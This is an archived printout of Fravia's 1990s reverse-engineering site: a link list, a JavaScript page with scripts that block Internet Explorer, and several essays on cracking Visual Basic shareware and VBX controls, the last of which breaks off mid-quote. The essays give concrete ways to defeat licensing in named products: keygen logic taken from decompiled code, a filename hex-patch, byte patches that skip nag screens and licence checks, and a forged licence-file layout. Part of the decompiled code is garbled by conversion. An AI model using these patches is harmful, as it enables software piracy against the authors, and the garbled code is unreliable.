Silicon Toad (http://www.vcalpha.com/silicon/episteme.html)

Snake Oil Warning Signs: Encryption Software to Avoid how to determine if a crypto software is weak
(http://www.research.megasoft.com/people/cmcurtin/snake-oil-faq.html)

Applied Cryptography the very best book on cryptography, not steganography; Bruce Schneier, published by Wiley, ISBN
0-471-11709-9

Electronic Frontier Foundation (EFF) wants to protect civil rights on the net - against crypto restrictions (http://www.eff.org)

Back to Fravia's Anonymity Academy


homepage links +ORC counter measures
antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/steghist.htm (3 of 3) [2/7/2001 3:16:53 PM]


Javascript and cookies

Fravia's JavaScript and Cookies page


This page holds a lot of JavaScripts, some of them make "home-made" cookies, therefore the "personal
counter" below will work on any page. Use your browser's "view source" command to see how it's
done... hope your browser is Netscape, because if you are using Internet Microsoft Explorer you are in
for a surprise (as you will learn examining the three javascripts at the bottom of this nice page :-)
Ah, ah, yes, there is also another little javascript snippet, useful in order to scare your guests paranoid :-)

~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The above line is done by a couple of lines, in my HTML, that look like this:
<script>
document.write("By the way, you have been to this page "+gettimes());
</script>

Get URL Info


I stole this stuff from somewhere. Hope they don't mind.
I stand upon the backs of others to show the appearance of greatness
These scripts should enable somebody to view the mime header lines that come in from all servers before
the HTML is sent. It could help if you are having problems setting multiple cookies :-) or are just
confused. This is for instance what the header lines look like when viewing this page:

XServer: WebSTAR
XContent-type: text/html
XSet-Cookie: Count=1; expires=Wednesday, 09-Nov-99 23:12:40 GMT; path=/; domain=.geocities.com
the X at the beginning of each line represents a line-feed. After this stuff comes the HTML page itself.
anyway:
the download consists of three files
ftplib.pl (goes into lib folder)
URL.pl (goes into lib folder)
url_get.pl (modify & run this one)
If you want you can define a file for the HTML document to be saved to. If not don't uncomment that
line.
Here it is
Have Fun

http://www.instinct.org/fravia/javaco1.htm (1 of 3) [2/7/2001 3:17:07 PM]


Javascript and cookies

Get the autoexec.bat of your hosts!


This will scare your hosts paranoid: click and see! :-)
yes it's yours!

No Micro$oft internet exploder allowed!


And here are the coveted ANTI-Microsoft scripts... use them in order to get rid of all people using
Micro$oft Internet explorer, or ameliorate them, I have stolen them on the Web

FIRST SCRIPT
~
Go to netscape please
<---------begin Cutting Now---------> <script LANGUAGE="JavaScript"><!-- var
uagent=navigator.userAgent; if (uagent.indexOf("MSIE") == 25) { document.writeln('<META
HTTP-EQUIV="REFRESH" CONTENT="2; URL=http://www.netscape.com/">'); } //--> </script>
<----end Cutting Now------------>

SECOND SCRIPT
~
MSIE not allowed
<---------begin Cutting Now---------> <script language="JavaScript"><!-- Hide for old browser // This
JavaScript is written by Moh! // Modified by WiZZiE // Use it and modify it if you like // it's for those
who don't want their Page be compatible for MS IE 3.0 :)....have fun // be so nice an leave my Name in
the above of that thx!</script> <script language="JavaScript">var uagent=navigator.userAgent; if
(uagent.indexOf("MSIE") == 25) { alert("STOP ! You are using MS Internet Explorer (TM)!");
alert("And this page prohibits IE users from viewing it."); if (confirm("Do you want to go to Netscape's
Site in order to dowload Netscape Navigator?")) {locaction.href="http://www.netscape.com" } else {
("OK you choose I don't care! Bye bye!....come back when you have Netscape Navigator!"); self.close();
} } // End hide ></script> <------end Cutting Now------------>

THIRD SCRIPT
~
Compulsory Netscape
<---------begin Cutting Now---------> <script LANGUAGE="JavaScript"><!-- var

http://www.instinct.org/fravia/javaco1.htm (2 of 3) [2/7/2001 3:17:07 PM]


Javascript and cookies

uagent=navigator.userAgent; if (uagent.indexOf("MSIE") == 25) self.close() //--> </script> <----end


Cutting Now------------>

homepage links +ORC students' essays anonymity


tools cocktails search_forms mail_FraVia

FraVia 13 May 1997

http://www.instinct.org/fravia/javaco1.htm (3 of 3) [2/7/2001 3:17:07 PM]


vbzero

Cracking visual basic, a lesson for the programmers


by Zero

(14 July 1997, slightly edited by Fravia+)

Courtesy of Fravia's page of reverse engineering

Well, Visual Basic cracking can always come at hand... here is another essay by Zero, master of the "save disabled"
protections

Cracking a Visual Basic program with a decompiler


Cracking Plasmid Toolkit 1.3
Plasmid Toolkit version 1.3 (1996) from Microbe Software can be found at
ftp.sunet.se/pub/molbio/ibmpc/ptk-demo.exe.
The main exe file is PTK13.EXE (1 040 448 bytes).

This program is pretty useless, even for a DNA hacker like me, but I
decided to crack it, because the authors of this program were too pushy
asking for my money and I don't like that. As it turned out, this program is
also good candidate for the most stupid protection award (IMHO).
To make it clear: I can understand if a programmer implements a simple
protection scheme knowing that it will protect against average users, (even
if the more complicated ones will be useless against dedicated crackers :-)
What I can't understand is, why they put two locks on the front door and
let the back door wide open. As you will see, in this case it probably took the
programmer more time to code and debug the protection routine than us to
crack it.

Let's see the target:


During installation, we observe that the program installs vbrun300.dll,
so we have another Visual Basic "toy application", on our hands. After
starting it, the first thing we get is a registration form (nice welcome!)
with Name, Company and Licence info required. Pressing the Cancel button
takes us through a nag screen (which reminds us about the unregistered
status of the program) to the working area. We load up a sample map and
quickly discover that the export and save functions have been disabled and
that in the middle of our plasmid graphic sits a "unregistered version" sign.
Upon leaving the program we get another nag screen, reminding us to register
in order "to enable all functions".
Well, we have here an arsenal of nag functions (and a licence agreement
that even Micro$oft could envy), all these problems can be cured entering
a correct licence number.

Let's crack:
This program, written in Visual Basic, means that WDASM is no good, and
that debugging with Softice will not be a great fun, either.

http://www.instinct.org/fravia/vbzero.htm (1 of 4) [2/7/2001 3:17:13 PM]


vbzero

You could crack the registration as written in the fine essay by Razzia,
of course... yet let's see if there is another... a more "relaxed" way.
Let's try first of all DoDi's excellent VBdecompiler, an obvious choice.
You can get the demo version from his homepage at
http://ourworld.compuserve.com/homepages/DoDi/ but it
can't decompile large files like ptk13.exe, so I suggest to get the registered
version of this nice decompiler, somehow :-)

Let the decompiler operate on the PTK13.EXE file. Surprise! It works nicely
and we practically have the VB source code in our hands (what a shame!).
The meaningful variable names are gone, but that's really no problem
for us.
After a little searching, we find the interesting REGFORM.BAS module.
Ok, let's peek into it! All right, the code deals with the registration,
and the most interesting part is this:

Sub OKButton_Click ()
Dim l005A As Integer <-Flag
Dim l005C As String
Dim l0060 As Integer
l005A% = fn6338(rname, rlicence) <-Flag set here
If (l005A% = 1) Then
gv0668 = Trim$(rlicence.Text) <-Good guy goes here
gv0664 = Trim$(rname.Text)
gv066C = Trim$(rcomp.Text)
l005C$ = gv0464 & "ptk.ini"
l0060% = extfn1050("Registration", "Registered User", gv0664, l005C$)
l0060% = extfn1050("Registration", "Company", gv066C, l005C$)
l0060% = extfn1050("Registration", "Licence Number", gv0668, l005C$)
PFWmenu.Export.Enabled = True <-Let's enable everything for good guy
PFWmenu.save.Enabled = True
PFWmenu.save_as.Enabled = True
PFWmenu.SaveButton.Enabled = True
Unload RegForm
Else
gv0668 = "" <-Bad guy goes here
rlicence.Text = ""
MsgBox "Invalid Licence Number", 48, "Registration Failure"
Exit Sub
End If
End Sub

Function fn6338 (p0068, p006C As Variant) As Integer <-This sets the flag
Dim l0072 As String
If (Len(Trim$(p006C)) <> 16 Or Mid$(Trim$(p006C), 6, 1) <> "-") Then
fn6338 = 0
Exit Function
End If
l0072$ = fn2030(p0068) <- Last ten char of the licence is calculated
If (UCase$(Mid$(Trim$(p006C), 7, 10)) = l0072$) Then
fn6338 = 1
Else
fn6338 = 0
End If
End Function

http://www.instinct.org/fravia/vbzero.htm (2 of 4) [2/7/2001 3:17:13 PM]


vbzero

Well, the above snippet talks for itself. The licence code is checked
with the fn6338 function which gets the name and registration code as
input. The code must be 16 char long with the 6th char being a dash.
The last ten character of the code are created by the fn2030 function
which gets the name string as input. Ok, let's search for the fn2030
function in the decompiled modules. We find it in MODULE5.BAS:

Function fn2030 (p000A As Variant) As String


Dim l000E As String
Dim l0010 As String
Dim l0012 As Integer
Dim l0014 As String
Dim l0016 As Integer
Dim l0018 As String
Dim l001A As Integer
Dim l001C As Integer
Dim l001E As Integer
l000E$ = Trim$(p000A)
l000E$ = LCase$(l000E$)
l0010$ = ""
For l0012% = 1 To Len(l000E$) <-Removing spaces
l0014$ = Mid$(l000E$, l0012%, 1)
If (l0014$ <> " ") Then
l0010$ = l0010$ + l0014$
End If
Next l0012%
l0016% = Len(l0010$)
l0018$ = ""
If (l0016% <= 10) Then <-Adjusting the lenght to 10 char
l0010$ = "bibblefnord" + l0010$
l0010$ = Right$(l0010$, 10)
End If
For l0012% = 10 To 1 Step -1 <-Calculation of code
l0014$ = Mid$(l0010$, l0012%, 1)
For l001A% = l0012% - 1 To 2 Step -1
l001C% = Asc(l0014$) Xor Asc(Mid$(l0010$, l001A%, 1))
Next l001A%
If (l001C% > 90 Or l001C% <48) Then l001E%="l001C%" Mod 42 l001E%="l001E%" + 48 If
(l001E% > 57 And l001E% < 65) Then l001E%="l001E%" 7 End If l0014$="Chr$(l001E%)" End
If l0018$="l0018$" + l0014$ Next l0012% fn2030="l0018$" End Function Finally, here it
is, the heart of the code "generator..class"
tppabs="http://fravia.org/generator..class" We can see the adjustment of the name
string with "bibblefnord", some XORing, etc., but
in fact we do not need to understand the precise mechanism of the code
generation to get a good code. We can rip out this function and modify it
a bit, to get the name input (p000A) from the keyboard and print the result
to the screen (actually, the "12345-"+result string, keeping in mind what
the fn6338 function does) and we get a perfect code generator in basic!
(Before you run the code you might have to tailor it a bit to your basic
interpreter, like with MS QBasic trim$ must be replaced by consecutive
Ltrim$ and Rtrim$ functions, etc).
I did not write here any valid licence code, because the purpose of this
essay is not to distribute a crack for this useless program, but to show:

http://www.instinct.org/fravia/vbzero.htm (3 of 4) [2/7/2001 3:17:13 PM]


vbzero

1) The beginner crackers that they can spare a lot of work by trying a VB
decompiler, before attacking with Softice.

2) The shareware VB programmers that it is useless to implement "tricky"


code generators, if they don't protect against decompilation. Not even
mentioning that they show their "source code" to the whole world.
("Antidecompiler" tools can be found on Dodi's homepage).

Finally, I would like to thank +ORC and his' students for the fine essays
and Fravia+ for his amazing WEB site.

Written by ZER0

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms corporate mailFraVia
Is reverse engineering legal?

http://www.instinct.org/fravia/vbzero.htm (4 of 4) [2/7/2001 3:17:13 PM]


frognew.htm

Quick crack of a Visual Basic program with a discompiler


(WRZSplit v3.5 for Win3.11/Win95)
by Frog's Prin+

Courtesy of Fravia's page of reverse engineering


~
Well, This one came short after Zero's precedent essay, and underlines once more HOW EASY it is to disassemble a Visual
Basic program... hopefully the shareware programmers will take care! C'mon boys, learn how to protect or, as Frog's prin+
writes, let it be

Quick crack of a Visual Basic program with a discompiler


WRZSplit v3.5 for Win3.11/Win95
By Frog's prin+, 20 July 1997
WRZSplit is a small utility to split and join any size files very quickly.
Split files are also compatible with DOS version. Its Uncrippled (there is
only a random nagscreen) and Shareware.
It can be found on most of FTPs, Compu$erve, Aol... There is a new Win95 version 1.5
but I prefer to use the Win3xx/Win95 version because it is, as usual, smaller (only
17Kb)
and faster than the Win95-only version.
A quick look at the documentation file will inform us of the following:
Windows WRZSplit v3.5
====================
This program was written in Visual Basic 3.0, so you need to have
the file VBRUN300.DLL, and SETUPKIT.DLL in your \windows\system directory.
...

Now we know where we are and where we're going.


Though I hate VB programs, WRZSplit is the only one I have on my PC because I think
it is
a good tool (times change!).
When running WRZSplit and pressing the ABOUT button we get:
"This program is Shareware and only $10.0
Email me for instructions on how to register it."
This sounds funny as there are no registration dialog box or serial number requested.
So there should be a way to register it.
Let's have a look:
As WRZSplit is only 17 Kb, the shareware version of the excellent Dodi's VB3
Discompiler
will quickly disassemble it (I am using v3.48e for VB3 and v4.05e for VB4 both found
on DoDi's home page).

' WRZSPLIT.FRM
Option Explicit
Declare Function extfnC8 Lib "SETUPKIT.DLL" Alias "DiskSpaceFree" () As Long

http://www.instinct.org/fravia/vb_frog.htm (1 of 4) [2/7/2001 3:17:16 PM]


frognew.htm

Dim m001E As String


Dim m0022 As Integer
Dim m0024 As String
Dim m0028 As String; Registration variable a string
Sub about_Click (Index%) ; "About" dialog box:
Dim l002E As Variant
Dim l0032 As String
l002E = Chr$(10)
l0032$ = "RZSplit for Windows - ver. " & m0024 &
" - By R. Zino" + l002E + l002E
If m0028 = "NOT Registered" Then ; check if NOT registered
l0032$ = l0032$ + "This program is Shareware and only $10. ; and display it...
Email" + l002E
l0032$ = l0032$ + "me at 'rzino@abraxis.com' for instructions
on how" + l002
l0032$ = l0032$ + "to register it"
Else ; else "Thanks..."
l0032$ = l0032$ + "Thank you for registering this program."
+ l002E
End If
MsgBox l0032$, 64, "About..."
End Sub
...
...
...
If m0028 = "NOT Registered" Then; If NOT registered
Randomize ; display a nag dialog about
m0022 = Int(3 * Rnd + 1); every 3 times you press
If m0022 = 1 Then ; the "GO" button
Beep
l0064 = Chr$(10)
l0068$ = "This program is Shareware, not Freeware.
Please register it." + l0064
l0068$ = l0068$ + "For information, click on the
'about' pull down." + l0064
MsgBox l0068$, 16, "Random Nag Screen"
End If
End If
...
...
...
Sub Form_Load () ; Beginning of the program
Option5.Value = 1
Option2.Value = 1
File1.FileName = "*.*"
m0024 = "3.5"
Screen.MousePointer = 11
Form2.Top = (Screen.Height * .85#) / 2 - Form2.Height / 2
Form2.Left = Screen.Width / 2 - Form2.Width / 2
Screen.MousePointer = 0
On Error GoTo L2A74

Open "wrzsplit.rjz" For Input As #4 ; Open "WRZSPLIT.RJZ"


Close #4 ; Close it
m0028 = "Registered" ; If no error then "Registered"

http://www.instinct.org/fravia/vb_frog.htm (2 of 4) [2/7/2001 3:17:16 PM]


frognew.htm

GoTo L2AA0

L2A74:
m0028 = "NOT Registered" ; otherwise "NOT Registered"
Resume L2AA0

L2AA0: ; and display it in the Title bar


Form2.Caption = "RZSplit for Windows - ver. " & m0024 ; of the Main window
& " - " & m0028
End Sub
...
...

As you can see, the program will assume it is Registered if there is no error
occurring
after trying to open the WRZSPLIT.RJZ file in the current directory.
Of course, if you search for such a file you won't find it.
If you create one and run WRZSPLIT.EXE, it will be Registered. The program doesn't
care
if this file is empty or not, only its presence is required.
The best way to crack it is to load WRZSPLIT.EXE with HexWorkShop and to search
for "WRZSPLIT.RJZ" then to replace it with "WRZSPLIT.EXE" so that the program will
now search for itself and will then be registered.
(Note that this protection (registration/missing file) is used by a lot of programs).

If lines like "Email me for instructions on how to register it" were removed, it
would
make our life a little more complicate (and we would assume that this is only a
Demo).
It's like if the program would tell you:
"Sorry but I cannot find WRZSPLIT.RJZ so you are NOT a Registered User!".
I remember the very first copies of "WinZip" for Win3.xx:
The program was supposed to be a Demo until someone discovered that, in the About
dialog box, when pressing the "R" key on keyboard a little message box was popping
asking for a serial number to unlock it!
Such tricks can be good 'home made' protections and it is not to much complicate to
hide them so that even BRWorkshop will not reveal them.
And finally, there are plenty of available tools protecting from VB Discompilers.

It doesn't make any sense to write a 17Kb VB ShareWare program if it is NOT


protected.
Better give it away for free.
Frog's Print
Frog_s_Print@ThePentagon.com
That's all for now. Frog's Print, 20 July 1997 frog_s_print@thepentagon.com

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails

http://www.instinct.org/fravia/vb_frog.htm (3 of 4) [2/7/2001 3:17:16 PM]


frognew.htm

antismut CGI-scripts search_forms mailFraVia

http://www.instinct.org/fravia/vb_frog.htm (4 of 4) [2/7/2001 3:17:16 PM]


popjA2

Reverse Engineering VBX Custom Controls


("function VBRuntime")

by +PopJack

(26 September 1997)

Courtesy of fravia's page of reverse engineering

Well, it was about time... visual basic reversing seems to be VERY neglected lately... a pity, because this language can
(slowly) be used to prepare some interesting "quick crack tools", as the +HCU will demontrate next year with two projects
connected to this one: Visual Basic tools for reverse engineering and Visual basic tools for protecting your anonymity... as
you see there is a lot of work ahead also for our friends "visualbasers"!.
This interesting essay by +PopJack opens the "hunt" for vb controls. We are still awaiting the promised tutorial on OCX
reverse engineering by Cat (Ola, amigo, estas muerto?), let's hope that +PopJack will send his essay asap

Reverse Engineering VBX Custom Controls


by +PopJack
(8 September 1997)

Tools needed:

SoftICE for Windows (only sometimes)


W32Dasm (only sometimes)
A hex editor (I use Hexpert )
Visual Basic (I'm using here version 3)

Although cracking Visual Basic programs can be very boring owing to


the calls to VBRunxxx.dll, VBX controls are written in C or C++ and
normally the protections found in these controls are very simple.
VBX Custom controls are used in Visual Basic, and are now being replaced
by OCX controls (more on this on the next essay). Some of the protections
are listed below:
1) Nag screens that appear when the VBX is loaded in memory.
2) Not allowing you to use the VBX in the VB environment or in run mode
(i.e. the exe file).
3) Missing a *.LIC file

Let's have a look at each of them.


Example 1)
The nag screens are easily spoted using W32dasm. I will show you
in this example how to remove the nag screen and even make the VBX to
show the registered About box.

Target: HSlide.vbx
Get it at: www.mabry.com

http://www.instinct.org/fravia/popja2.htm (1 of 7) [2/7/2001 3:17:20 PM]


popjA2

When you use the custom control it displays a nag screen for
some seconds.
Since the nag screen appears during a limited amount of time
let's try a classical breakpoint: bpx settimer.
This is where we land

:0001.2032 56 push si
:0001.2033 6A01 push 0001
:0001.2035 68E803 push 03E8
:0001.2038 6A00 push 0000
:0001.203A 6A00 push 0000
:0001.203C 9AFFFF0000 call USER.SETTIMER ;HERE!
:0001.2041 C706F6070000 mov word ptr [07F6], 0 ;initialize counter
:0001.2047 EB1F jmp 2068
:0001.2049 90 nop

* Referenced by a Jump at Address:0001.1FCF(C)


|
:0001.204A FF06F607 inc word ptr [07F6]
:0001.204E 833EF6070F cmp word ptr [07F6], F ;have we been here
for 15 times?

* Referenced by a Jump at Address:0001.1FDE(U)


|
:0001.2053 7C13 jl 2068 ;no, go away and hold nag on
:0001.2055 8B760E mov si, [bp+0E]
:0001.2058 56 push si
:0001.2059 6A01 push 0001
:0001.205B 9AFFFF0000 call USER.KILLTIMER
:0001.2060 56 push si
:0001.2061 6A00 push 0000
:0001.2063 9AF21C0000 call USER.ENDDIALOG ;ok, turn off nag screen

* Referenced by a Jump at Addresses:0001.1FD6(U), :0001.2053(C)


|
:0001.2068 33C0 xor ax, ax
:0001.206A 1F pop ds
:0001.206B 5E pop si
:0001.206C C9 leave
:0001.206D CA0A00 retf 000A

The thing to do to take care of the delay is very simple isn't it?
Lets do it
:0001.2041 C706F6070E00 mov word ptr [07F6], 000E
:0001.2047 90 nop
:0001.2048 90 nop
:0001.2049 90 nop

Remember that our teacher +ORC told us not to use sucessive nops, but in
this case there is no problem.

Now the Aboutbox, which is really more interesting from the point of vue
of reverse engineering.
First some general info on VBX initialization: proc LIBMAIN is called

http://www.instinct.org/fravia/popja2.htm (2 of 7) [2/7/2001 3:17:20 PM]


popjA2

only NCE upon VBX first load, and each instance of the custom control
must call VBINITCC to initialize itself.
So the VBINITCC is normally a good place to start tracing.

Let's have a look at the dissambled file. Cortesy of W32dasm.

+++++++++++++++++++ ENTRY TABLE FUNCTIONS ++++++++++++++++++


Number of Entry Table Functions = 0010 (decimal)

Addr:0001.2BD2 Ord:0000d Type:00h Name: HSLIDE1


Addr:0001.2BD2 Type:00h Name: Visual Basic Horizontal Slider Custom Control
Addr:0001.1382 Ord:0001d Type:FFh Name: CTLPROC {Exported}
Addr:0001.20D6 Ord:0002d Type:FFh Name: LIBMAIN {Exported}
Addr:0001.1FB2 Ord:0003d Type:FFh Name: COPYRIGHTPROC {Exported}
Addr:0001.1D06 Ord:0004d Type:FFh Name: ABOUTPOPUPWNDPROC {Exported}
Addr:0001.2070 Ord:0005d Type:FFh Name: VBINITCC {Exported}
Addr:0001.3022 Ord:0006d Type:FFh Name: ___EXPORTEDSTUB {Exported}
Addr:0001.1CD2 Ord:0007d Type:FFh Name: ABOUTDLGPROC {Exported}
Addr:0001.20C4 Ord:0008d Type:FFh Name: VBTERMCC {Exported}

Name: DialogID_00CF, # of Controls=009, Caption:"About Slider Controls"


001 - ControlID:0001, Control Class:"" Control Text:"OK"
002 - ControlID:FFFF, Control Class:"" Control Text:""
003 - ControlID:001C, Control Class:"" Control Text:"PSlider Controls -
HSLIDE.VBX"
......... cutted to save space
009 - ControlID:FFFF, Control Class:"" Control Text:""
Name: DialogID_00D1, # of Controls=014, Caption:"About Slider Controls (Sample)"
001 - ControlID:0001, Control Class:"" Control Text:"OK"
002 - ControlID:FFFF, Control Class:"" Control Text:""
003 - ControlID:0018, Control Class:"" Control Text:"PSlider Controls -
HSLIDE.VBX"
......... cutted to save space
006 - ControlID:FFFF, Control Class:"" Control Text:"This is an unregistered
version of this control.
It is not crippled in any
way"

Ok...So we have two dialogs. A good and a bad one.


Searching for About (DialogID_00D1) we find it inside the Copyrightproc:

* Referenced by a Jump at Address:0001.1D1A(C)


|
:0001.1D3E FF360008 push word ptr [0800]
:0001.1D42 6A00 push 0000

* Possible Reference to Dialog: DialogID_00D1


|
:0001.1D44 68D100 push 00D1 ; About Slider Controls (unregistered)
:0001.1D47 68541D push SEG ADDR of Segment 0001
:0001.1D4A 68D21C push 1CD2 ;AboutdlgProc (see the ENTRY TABLE FUNCTIONS)
:0001.1D4D 6A00 push 0000

http://www.instinct.org/fravia/popja2.htm (3 of 7) [2/7/2001 3:17:20 PM]


popjA2

:0001.1D4F 6A00 push 0000


:0001.1D51 9AF235BE1D call 0001.35F2
:0001.1D56 EBDD jmp 1D35

Stop! Time to think!


If you did looked at the ENTRY TABLE FUNCTIONS things become clear. The
AboutdlgProc will call the dialog indicated in the previous pushes.
So to have a registered about box we replace
:0001.1D44 68D100 push 00D1 ;About Slider Controls (unregistered)
by
:0001.1D44 68CF00 push 00CF ;About Slider Controls (registered)

That's all! We are now an happy registered owner of hslide.vbx

Example 2)
In Visual Basic there are a set of functions to access the windows API -
the so called VB API.
The custom controls can determine the state of the VB application by
calling a function - VBRuntime.
This function resides both in VB.exe itself and in the VB runtime dll -
VBRunxxx.
I did some work to identify where in the code does this function returns
its value.
Here follows what I found:
i) In the VB environment you find it at SS:8D4C.
In design time it returns 0, in runmode (still in the
environment) it returns 2.
ii) In the exe file the runtime state value returned from the
VBRunXXX.dll is in SS:6FE6 and has a value of 1.

Target: CT_radio.vbx (part of the Component Toolbox)


Get it at : www.dbi.com (used to be Gamesman Inc)

So how do we cut the mustard?


I use bpx localinit just to get inside the custom control. Then I set a
bpm ss:8D4C or bpm ss:6FE6.

This is where we land:


Exported fn(): VBINITCC - Ord:0006h
:0001.0EA9 B8FFFF mov ax, SEG ADDR of Segment 0002
:0001.0EAC 45 inc bp
:0001.0EAD 55 push bp
:0001.0EAE 8BEC mov bp, sp
:0001.0EB0 1E push ds
:0001.0EB1 8ED8 mov ds, ax
:0001.0EB3 83EC1A sub sp, 001A
:0001.0EB6 56 push si
:0001.0EB7 57 push di
:0001.0EB8 8B7608 mov si, [bp+08] ;holds VB Version
:0001.0EBB 8B7E06 mov di, [bp+06] ;HERE!,holds run mode

from VBRun300.dll
:0001.0EBE 0BFF or di, di
:0001.0EC0 741E jz 0EE0

http://www.instinct.org/fravia/popja2.htm (4 of 7) [2/7/2001 3:17:20 PM]


popjA2

:0001.0EC2 6A00 push 0000 ;you don't have a license


:0001.0EC4 1E push ds ;to use this control outside
:0001.0EC5 68DE02 push 02DE ;the VB environment
:0001.0EC8 1E push ds
:0001.0EC9 680F03 push 030F
:0001.0ECC 6A10 push 0010
:0001.0ECE 9AFFFF0000 call USER.MESSAGEBOX
:0001.0ED3 33C0 xor ax, ax
:0001.0ED5 5F pop di
:0001.0ED6 5E pop si
:0001.0ED7 8D66FE lea sp, [bp-02]
:0001.0EDA 1F pop ds
:0001.0EDB 5D pop bp
:0001.0EDC 4D dec bp
:0001.0EDD CA0400 retf 0004

So we jump always to the good location by replacing


:0001.0EC0 741E jz 0EE0
by
:0001.0EC0 EB1E jmp 0EE0
There are also more than 20 controls that use this same scheme.

Example 3)
Normally custom controls come with a license file that enables you to
use it in the VB environment, and you should not distribute it along with
the final exe file.
Let's see one such case: a custom control for managing serial
communications.

Target : PDQCOMM2.VBX from Crescent Software


Get it at: www.qbss.com (although the control is really made by -
www.progress.com)

Usually LIC files are acessed using Openfile so it is a nice entry


point for us.
The control must verify if it is being used or not inside the VB
environment.
Only in the first case should it look for the LIC file.
The file validation is so simple that I made a valid license file using
Softice 1.5 in 2 minutes!
Let's have a look at the code around the openfile call.

:0001.03C2 C80A0100 enter 010A, 00


:0001.03C6 57 push di
:0001.03C7 56 push si
:0001.03C8 BEFFFF mov si, FFFF
:0001.03CB 33C0 xor ax, ax
:0001.03CD 8946F8 mov [bp-08], ax
:0001.03D0 8946F6 mov [bp-0A], ax
:0001.03D3 9AD06D7800 call 0001.6DD0
:0001.03D8 50 push ax
:0001.03D9 8D867EFF lea ax, [bp-0082]
:0001.03DD 16 push ss
:0001.03DE 50 push ax

http://www.instinct.org/fravia/popja2.htm (5 of 7) [2/7/2001 3:17:20 PM]


popjA2

:0001.03DF 6A78 push 0078


:0001.03E1 9A29030000 call KERNEL.GETMODULEFILENAME ;looking for VB.exe
:0001.03E6 8BF8 mov di, ax ; if it isn't loaded then ax=0
:0001.03E8 0BF8 or di, ax
:0001.03EA 7503 jne 03EF ; jump to verify license file
:0001.03EC E9E900 jmp 04D8

....... cutted to save space

* Possible StringData Ref from Data Seg 003 ->"COM4WIN2.LIC"


|
:0001.043B 684A00 push 004A
:0001.043E 8D86F6FE lea ax, [bp-010A]
:0001.0442 16 push ss
:0001.0443 50 push ax
:0001.0444 6A00 push 0000
:0001.0446 9AFFFF0000 call KERNEL.OPENFILE
:0001.044B 8BF0 mov si, ax
:0001.044D 83FEFF cmp si, FFFF ;LIC file found?
:0001.0450 7503 jne 0455 ;yes go ahead
:0001.0452 E98300 jmp 04D8

:0001.0455 C746F60000 mov word ptr [bp-0A], 0000


:0001.045A 50 push ax
:0001.045B 8D46F6 lea ax, [bp-0A]
:0001.045E 16 push ss
:0001.045F 50 push ax
:0001.0460 6A01 push 0001 ; read 1 byte from begining
:0001.0462 9A82040000 call KERNEL._LREAD
:0001.0467 48 dec ax ; 1 byte read?
:0001.0468 7568 jne 04D2
:0001.046A 8B7EF8 mov di, [bp-08]
:0001.046D 8976FA mov [bp-06], si
:0001.0470 837EF61A cmp word ptr [bp-0A], 001A ; is byte = 1A ?
:0001.0474 7413 je 0489 ; good!
:0001.0476 037EF6 add di, [bp-0A]
:0001.0479 56 push si
:0001.047A 8D46F6 lea ax, [bp-0A]
:0001.047D 16 push ss
:0001.047E 50 push ax
:0001.047F 6A01 push 0001
:0001.0481 9A95040000 call KERNEL._LREAD
:0001.0486 48 dec ax
:0001.0487 74E7 je 0470
:0001.0489 83C705 add di, 0005
:0001.048C 56 push si
:0001.048D 8D46F6 lea ax, [bp-0A]
:0001.0490 16 push ss
:0001.0491 50 push ax
:0001.0492 6A02 push 0002
:0001.0494 9AAC040000 call KERNEL._LREAD ; read 2 more bytes
:0001.0499 3D0200 cmp ax, 0002 ; 2 bytes read?
:0001.049C 753A jne 04D8
:0001.049E 397EF6 cmp [bp-0A], di ;is 2nd byte= 05?

http://www.instinct.org/fravia/popja2.htm (6 of 7) [2/7/2001 3:17:20 PM]


popjA2

:0001.04A1 7535 jne 04D8 ;ah ah! Bad guy!


:0001.04A3 56 push si
:0001.04A4 8D46F6 lea ax, [bp-0A]
:0001.04A7 16 push ss
:0001.04A8 50 push ax
:0001.04A9 6A02 push 0002
:0001.04AB 9AFFFF0000 call KERNEL._LREAD ;still another 2 bytes
:0001.04B0 3D0200 cmp ax, 0002
:0001.04B3 7405 je 04BA ;I read 2 bytes, move on
:0001.04B5 C746F60001 mov word ptr [bp-0A], 0100
:0001.04BA 56 push si
:0001.04BB 9AEB040000 call KERNEL._LCLOSE ;as the name says
:0001.04C0 8B4604 mov ax, [bp+04] ;I placed a chosen value
in the LIC file
:0001.04C3 3946F6 cmp [bp-0A], ax ;to avoid the jump
:0001.04C6 7210 jb 04D8
:0001.04C8 B80100 mov ax, 0001 ;LIC file is valid!
...ret

:0001.04D8 6A00 push 0000


..... cutted to saved space
:0001.04EF 33C0 xor ax, ax ;get the bad flag zero
...ret

Of course we can crack the control instead of making a valid


license file.
The problem is that some applications will install new versions
of the same control on your system... and then you will have to
crack again and again.

That's all for now. Hope you had fun.


Once again thank you fravia+ for making available so much knowledge
for us.

See you
+PopJack
(c) +PopJack 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 8 ("Visual Basic galore")

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/popja2.htm (7 of 7) [2/7/2001 3:17:20 PM]


flipne2.htm

An Explanation of how Make_Mak for Visual Basic Works


(A Visual Basic tough protection?)

by flipper

(20 October 1997)

Courtesy of fravia's page of reverse engineering

Well, an OPEN ongoing project... we need help on this by you all Visual Basic reverser... some of you had already seen
the "first part" of this work by flipper, I'll publish the first part AND the second part even if there are some
redundancies: this all makes interesting reading in my opinion... we have here a visual basic (apparently tough)
protection against decompilation... who would have thought it?
Yes, as our French friends say: "Tout passe, tout lasse, tout casse"... You could (freely) translate this with "Everything
has an end, everything can be cracked" :-)
First part follows
Second part is here

First part
Fravia+,

I read +Sync's message on your blackboard, so I decided to write up a


little something. Instead of just sending an e-mail, I typed it in edit so I
could attach it at a later time. I hope this helps out.

POPIt Visual Basic 3.0 Protection Scheme Explained


(but not solved)
Written by flipper (upg)

This is the message that appeared on October 12, just a week ago, from +Sync:

"I have spent several days looking at a VB3 program called POPIt, and
have had very little success. I have talked to Razzia as well as
several others on IRC and it seems that this program has not yet been
cracked. I was hoping you could possibly post a challenge on the +HCU
page, looking for information on the scheme this program uses. It
